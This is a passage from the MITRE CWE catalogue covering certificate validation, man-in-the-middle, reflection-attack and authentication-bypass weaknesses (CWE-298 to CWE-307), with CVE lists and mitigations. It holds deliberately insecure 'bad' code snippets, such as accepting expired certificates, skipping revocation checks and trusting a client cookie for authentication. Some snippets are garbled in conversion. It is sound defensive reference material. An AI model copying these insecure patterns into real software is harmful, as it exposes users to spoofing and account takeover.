<b>CVE-2012-5807</b>	Software for electronic checking does not verify hostname, leading to financial loss. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5807">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5807</a>
<b>CVE-2012-3446</b>	Cloud-support library written in Python uses incorrect regular expression when matching hostname. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3446">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3446</a>
<b>CVE-2009-2408</b>	Web browser does not correctly handle '\0' character (NUL) in Common Name, allowing spoofing of https sites. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2408">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2408</a>
<b>CVE-2012-0867</b>	Database program truncates the Common Name during hostname verification, allowing spoofing. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0867">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0867</a>
<b>CVE-2010-2074</b>	Incorrect handling of '\0' character (NUL) in hostname verification allows spoofing. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2074">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2074</a>

Reference	Description
<b>CVE-2009-4565</b>	Mail server's incorrect handling of '\0' character (NUL) in hostname verification allows spoofing. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4565">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4565</a>
<b>CVE-2009-3767</b>	LDAP server's incorrect handling of '\0' character (NUL) in hostname verification allows spoofing. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3767">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3767</a>
<b>CVE-2012-5806</b>	Payment processing module does not verify hostname when connecting to PayPal using PHP fsockopen function. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5806">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5806</a>
<b>CVE-2012-2993</b>	Smartphone device does not verify hostname, allowing spoofing of mail services. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2993">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2993</a>
<b>CVE-2012-5804</b>	E-commerce module does not verify hostname when connecting to payment site. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5804">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5804</a>
<b>CVE-2012-5824</b>	Chat application does not validate hostname, leading to loss of privacy. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5824">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5824</a>
<b>CVE-2012-5822</b>	Application uses third-party library that does not validate hostname. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5822">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5822</a>
<b>CVE-2012-5819</b>	Cloud storage management application does not validate hostname. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5819">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5819</a>
<b>CVE-2012-5817</b>	Java library uses JSSE SSLSocket and SSLEngine classes, which do not verify the hostname. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5817">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5817</a>
<b>CVE-2012-5784</b>	SOAP platform does not verify the hostname. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5784">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5784</a>
<b>CVE-2012-5782</b>	PHP library for payments does not verify the hostname. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5782">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5782</a>
<b>CVE-2012-5780</b>	Merchant SDK for payments does not verify the hostname. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5780">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5780</a>
<b>CVE-2003-0355</b>	Web browser does not validate Common Name, allowing spoofing of https sites. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0355">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0355</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

## CWE-298: Improper Validation of Certificate Expiration

**Weakness ID** : 298

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

A certificate expiration is not validated or is incorrectly validated, so trust may be assigned to certificates that have been abandoned due to age.

### Extended Description

When the expiration of a certificate is not taken into account, no trust has necessarily been conveyed through it. Therefore, the validity of the certificate cannot be verified and all benefit of the certificate is lost.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		672	Operation on a Resource after Expiration or Release	1228
ChildOf		295	Improper Certificate Validation	616
PeerOf		324	Use of a Key Past its Expiration Date	679
PeerOf		370	Missing Check for Certificate Revocation after Initial Check	778

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1014	Identify Actors	1655

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		295	Improper Certificate Validation	616

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Integrity Other	Other <i>The data read from the system vouched for by the expired certificate may be flawed due to malicious spoofing.</i>	
Authentication Other	Other <i>Trust afforded to the system in question - based on the expired certificate - may allow for spoofing attacks.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Check for expired certificates and provide the user with adequate information about the nature of the problem and how to proceed.

#### Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the expiration.

### Demonstrative Examples

#### Example 1:

The following OpenSSL code ensures that there is a certificate and allows the use of expired certificates.

Example Language: C

(bad)

```
if (cert = SSL_get_peer_certificate(ssl)) { foo=SSL_get_verify_result(ssl);if ((X509_V_OK==foo) ||
(X509_V_ERR_CERT_HAS_EXPIRED==foo)) //do stuff
```

If the call to `SSL_get_verify_result()` returns `X509_V_ERR_CERT_HAS_EXPIRED`, this means that the certificate has expired. As time goes on, there is an increasing chance for attackers to compromise the certificate.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1564

## CWE-299: Improper Check for Certificate Revocation

Weakness ID : 299

Status: Draft

Structure : Simple

Abstraction : Base

## Description

The software does not check or incorrectly checks the revocation status of a certificate, which may cause it to use a certificate that has been compromised.

## Extended Description

An improper check for certificate revocation is a far more serious flaw than related certificate failures. This is because the use of any revoked certificate is almost certainly malicious. The most common reason for certificate revocation is compromise of the system in question, with the result that no legitimate servers will be using a revoked certificate, unless they are sorely out of sync.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	827
ChildOf		295	Improper Certificate Validation	616
ParentOf		370	Missing Check for Certificate Revocation after Initial Check	778

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1014	Identify Actors	1655

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		295	Improper Certificate Validation	616
ParentOf		370	Missing Check for Certificate Revocation after Initial Check	778

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity <i>Trust may be assigned to an entity who is not who it claims to be.</i>	
Integrity Other	Other <i>Data from an untrusted (and possibly malicious) source may be integrated.</i>	
Confidentiality	Read Application Data <i>Data may be disclosed to an entity impersonating a trusted entity, resulting in information disclosure.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Ensure that certificates are checked for revoked status.

### Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the revoked status.

## Demonstrative Examples

### Example 1:

The following OpenSSL code ensures that there is a certificate before continuing execution.

Example Language: C

(bad)

```
if (cert = SSL_get_peer_certificate(ssl)) { // got a certificate, do secret things
```

Because this code does not use `SSL_get_verify_results()` to check the certificate, it could accept certificates that have been revoked (`X509_V_ERR_CERT_REVOKED`). The software could be communicating with a malicious host.

## Observed Examples

Reference	Description
<b>CVE-2011-2014</b>	LDAP-over-SSL implementation does not check Certificate Revocation List (CRL), allowing spoofing using a revoked certificate. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2014">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2014</a>
<b>CVE-2011-0199</b>	Operating system does not check Certificate Revocation List (CRL) in some cases, allowing spoofing using a revoked certificate. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0199">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0199</a>
<b>CVE-2010-5185</b>	Antivirus product does not check whether certificates from signed executables have been revoked. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-5185">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-5185</a>
<b>CVE-2009-3046</b>	Web browser does not check if any intermediate certificates are revoked. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3046">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3046</a>
<b>CVE-2009-0161</b>	chain: Ruby module for OCSP misinterprets a response, preventing detection of a revoked certificate. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0161">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0161</a>
<b>CVE-2011-2701</b>	chain: incorrect parsing of replies from OCSP responders allows bypass using a revoked certificate. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2701">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2701</a>
<b>CVE-2011-0935</b>	Router can permanently cache certain public keys, which would allow bypass if the certificate is later revoked. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0935">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0935</a>
<b>CVE-2009-1358</b>	chain: OS package manager does not properly check the return value, allowing bypass using a revoked certificate. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1358">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1358</a>
<b>CVE-2009-0642</b>	chain: language interpreter does not properly check the return value from an OCSP function, allowing bypass using a revoked certificate. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0642">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0642</a>
<b>CVE-2008-4679</b>	chain: web service component does not call the expected method, which prevents a check for revoked certificates. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4679">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4679</a>
<b>CVE-2006-4410</b>	Certificate revocation list not searched for certain certificates. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4410">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4410</a>
<b>CVE-2006-4409</b>	Product cannot access certificate revocation list when an HTTP proxy is being used. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4409">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4409</a>

## MemberOf Relationships

## CWE-300: Channel Accessible by Non-Endpoint ('Man-in-the-Middle')

Weakness ID : 300

Status: Draft

Structure : Simple

Abstraction : Class

### Description

The product does not adequately verify the identity of actors at both ends of a communication channel, or does not adequately ensure the integrity of the channel, in a way that allows the channel to be accessed or influenced by an actor that is not an endpoint.

### Extended Description

In order to establish secure communication between two parties, it is often important to adequately verify the identity of entities at each end of the communication channel. Inadequate or inconsistent verification may result in insufficient or incorrect identification of either communicating entity. This can have negative consequences such as misplaced trust in the entity at the other end of the channel. An attacker can leverage this by interposing between the communicating entities and masquerading as the original entity. In the absence of sufficient verification of identity, such an attacker can eavesdrop and potentially modify the communication between the original entities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	G	923	Improper Restriction of Communication Channel to Intended Endpoints	1494
PeerOf	B	602	Client-Side Enforcement of Server-Side Security	1122
PeerOf	B	603	Use of Client-Side Authentication	1126

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1651

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	1494

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	
Access Control	Gain Privileges or Assume Identity	
<i>An attacker could pose as one of the entities and read or possibly modify the communication.</i>		

### Potential Mitigations

#### Phase: Implementation

Always fully authenticate both ends of any communications channel.

#### Phase: Architecture and Design

Adhere to the principle of complete mediation.

#### Phase: Implementation

A certificate binds an identity to a cryptographic key to authenticate a communicating party. Often, the certificate takes the encrypted form of the hash of the identity of the subject, the public key, and information such as time of issue or expiration using the issuer's private key. The certificate can be validated by deciphering the certificate with the issuer's public key. See also X.509 certificate signature chains and the PGP certification structure.

### Demonstrative Examples

#### Example 1:

In the Java snippet below, data is sent over an unencrypted channel to a remote server.

*Example Language: Java*

*(bad)*

```
Socket sock;PrintWriter out; try { sock = new Socket(REMOTE_HOST, REMOTE_PORT);out = new
PrintWriter(echoSocket.getOutputStream(), true); // Write data to remote host via socket output stream. ... }
```

By eavesdropping on the communication channel or posing as the endpoint, an attacker would be able to read all of the transmitted data.

### Observed Examples

Reference	Description
<b>CVE-2014-1266</b>	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing man-in-the-middle attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint ('Man-in-the-Middle')). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1266">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1266</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	859	CERT Java Secure Coding Section 14 - Platform Security (SEC)	844	1597
MemberOf	V	884	CWE Cross-section	884	1681
MemberOf	C	956	SFP Secondary Cluster: Channel Attack	888	1625

## Notes

### Maintenance

The summary identifies multiple distinct possibilities, suggesting that this is a category that must be broken into more specific weaknesses.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Man-in-the-middle (MITM)
WASC	32		Routing Detour
CERT Java Secure Coding	SEC06-J		Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar

## CWE-301: Reflection Attack in an Authentication Protocol

<b>Weakness ID</b> : 301	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

Simple authentication protocols are subject to reflection attacks if a malicious user can use the target machine to impersonate a trusted user.

### Extended Description

A mutual authentication protocol requires each party to respond to a random challenge by the other party by encrypting it with a pre-shared key. Often, however, such protocols employ the same pre-shared key for communication with a number of different entities. A malicious user or an attacker can easily compromise this protocol without possessing the correct key by employing a reflection attack on the protocol.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	G	287	Improper Authentication	599

Nature	Type	ID	Name	Page
PeerOf		327	Use of a Broken or Risky Cryptographic Algorithm	684

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	1650

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		287	Improper Authentication	599

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>The primary result of reflection attacks is successful authentication with a target machine -- as an impersonated user.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Use different keys for the initiator and responder or of a different type of challenge for the initiator and responder.

#### Phase: Architecture and Design

Let the initiator prove its identity before proceeding.

### Demonstrative Examples

#### Example 1:

The following example demonstrates the weakness.

*Example Language: C*

*(bad)*

```
unsigned char *simple_digest(char *alg,char *buf,unsigned int len, int *olen) {const EVP_MD *m;EVP_MD_CTX
ctx;unsigned char *ret;OpenSSL_add_all_digests();if (!(m = EVP_get_digestbyname(alg))) return
NULL;if (!(ret = (unsigned char*)malloc(EVP_MAX_MD_SIZE))) return NULL;EVP_DigestInit(&ctx,
m);EVP_DigestUpdate(&ctx,buf,len);EVP_DigestFinal(&ctx,ret,olen);return ret;}unsigned char
*generate_password_and_cmd(char *password_and_cmd) {simple_digest("sha1",password,strlen(password_and_cmd)...);}
```

*Example Language: Java*

*(bad)*

```
String command = new String("some cmd to execute & the password")
MessageDigest encer =
MessageDigest.getInstance("SHA");encer.update(command.getBytes("UTF-8"));byte[] digest = encer.digest();
```

### Observed Examples

Reference	Description
<b>CVE-2005-3435</b>	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3435">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3435</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		718	OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management		1561
MemberOf		884	CWE Cross-section		1681
MemberOf		956	SFP Secondary Cluster: Channel Attack		1625

## Notes

### Maintenance

The term "reflection" is used in multiple ways within CWE and the community, so its usage should be reviewed.

### Other

Reflection attacks capitalize on mutual authentication schemes in order to trick the target into revealing the secret shared between it and another valid user. In a basic mutual-authentication scheme, a secret is known to both the valid user and the server; this allows them to authenticate. In order that they may verify this shared secret without sending it plainly over the wire, they utilize a Diffie-Hellman-style scheme in which they each pick a value, then request the hash of that value as keyed by the shared secret. In a reflection attack, the attacker claims to be a valid user and requests the hash of a random value from the server. When the server returns this value and requests its own value to be hashed, the attacker opens another connection to the server. This time, the hash requested by the attacker is the value which the server requested in the first connection. When the server returns this hashed value, it is used in the first connection, authenticating the attacker successfully as the impersonated valid user.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name

## CWE-302: Authentication Bypass by Assumed-Immutable Data

<b>Weakness ID</b> : 302	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

## Description

The authentication scheme or implementation uses key data elements that are assumed to be immutable, but can be controlled or modified by the attacker.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		807	Reliance on Untrusted Inputs in a Security Decision	1406
ChildOf		287	Improper Authentication	599

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	1650

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		287	Improper Authentication	599

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Operation**

**Phase: Implementation**

Implement proper protection for immutable data (e.g. environment variable, hidden form fields, etc.)

### Demonstrative Examples

#### Example 1:

In the following example, an "authenticated" cookie is used to determine whether or not a user should be granted access to a system.

*Example Language: Java*

*(bad)*

```
boolean authenticated = new Boolean(getCookieValue("authenticated")).booleanValue();if (authenticated) {...}
```

Of course, modifying the value of a cookie on the client-side is trivial, but many developers assume that cookies are essentially immutable.

### Observed Examples

## CWE-303: Incorrect Implementation of Authentication Algorithm

**Weakness ID :** 303

**Status:** Draft

**Structure :** Simple

**Abstraction :** Base

### Description

The requirements for the software dictate the use of an established authentication algorithm, but the implementation of the algorithm is incorrect.

### Extended Description

This incorrect implementation may allow authentication to be bypassed.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-304: Missing Critical Step in Authentication

**Weakness ID** : 304

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The software implements an authentication technique, but it skips a step that weakens the technique.

### Extended Description

Authentication techniques should follow the algorithms that define them exactly, otherwise authentication can be bypassed or more easily subjected to brute force attacks.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	
Other	Other	
<i>Exposing critical functionality essentially provides an attacker with the privilege level of that functionality.</i>		

Scope	Impact	Likelihood
	<i>The consequences will depend on the associated functionality, but they can range from reading or modifying sensitive data, access to administrative or other privileged functionality, or possibly even execution of arbitrary code.</i>	

## Detection Methods

### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

### Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries. Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

*Effectiveness = Limited*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host Application Interface Scanner Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = SOAR Partial*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

*Effectiveness = High*

## Potential Mitigations

### Phase: Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.

### Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

### Phase: Architecture and Design

Where possible, avoid implementing custom authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These may make it easier to provide a clear separation between authentication tasks and authorization tasks. In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].

## Demonstrative Examples

### Example 1:

In the following Java example the method `createBankAccount` is used to create a `BankAccount` object for a bank management application.

*Example Language: Java*

*(bad)*

```
public BankAccount createBankAccount(String accountNumber, String accountType, String
accountName, String accountSSN, double balance) { BankAccount account = new
BankAccount();account.setAccountNumber(accountNumber);account.setAccountType(accountType);account.setAccountOwnerName(accountName);
return account; }
```

However, there is no authentication mechanism to ensure that the user creating this bank account object has the authority to create new bank accounts. Some authentication mechanisms should be used to verify that the user has the authority to create bank account objects.

The following Java code includes a boolean variable and method for authenticating a user. If the user has not been authenticated then the createBankAccount will not create the bank account object.

Example Language: Java

(good)

```
private boolean isUserAuthentic = false; // authenticate user, // if user is authenticated then set variable to
true // otherwise set variable to false public boolean authenticateUser(String username, String password) {...}
public BankAccount createNewBankAccount(String accountNumber, String accountType,String accountName,
String accountSSN, double balance) { BankAccount account = null; if (isUserAuthentic) {account = new
BankAccount();account.setAccountNumber(accountNumber);account.setAccountType(accountType);account.setAccountOwnerName(accountName);
account; }
```

## Observed Examples

## CWE-307: Improper Restriction of Excessive Authentication Attempts

**Weakness ID** : 307

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The software does not implement sufficient measures to prevent multiple failed authentication attempts within in a short time frame, making it more susceptible to brute force attacks.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		799	Improper Control of Interaction Frequency	1394
ChildOf		287	Improper Authentication	599

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	1650

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		287	Improper Authentication	599

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
	<i>An attacker could perform an arbitrary number of authentication attempts using different passwords, and eventually gain access to the targeted account.</i>	

### Detection Methods

**Dynamic Analysis with Automated Results Interpretation**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Web Application Scanner Web Services Scanner Database Scanners Cost effective for partial coverage: Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

*Effectiveness = High*

#### **Dynamic Analysis with Manual Results Interpretation**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Fuzz Tester Framework-based Fuzzer Cost effective for partial coverage: Forced Path Execution

*Effectiveness = High*

#### **Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = High*

#### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

#### **Automated Static Analysis**

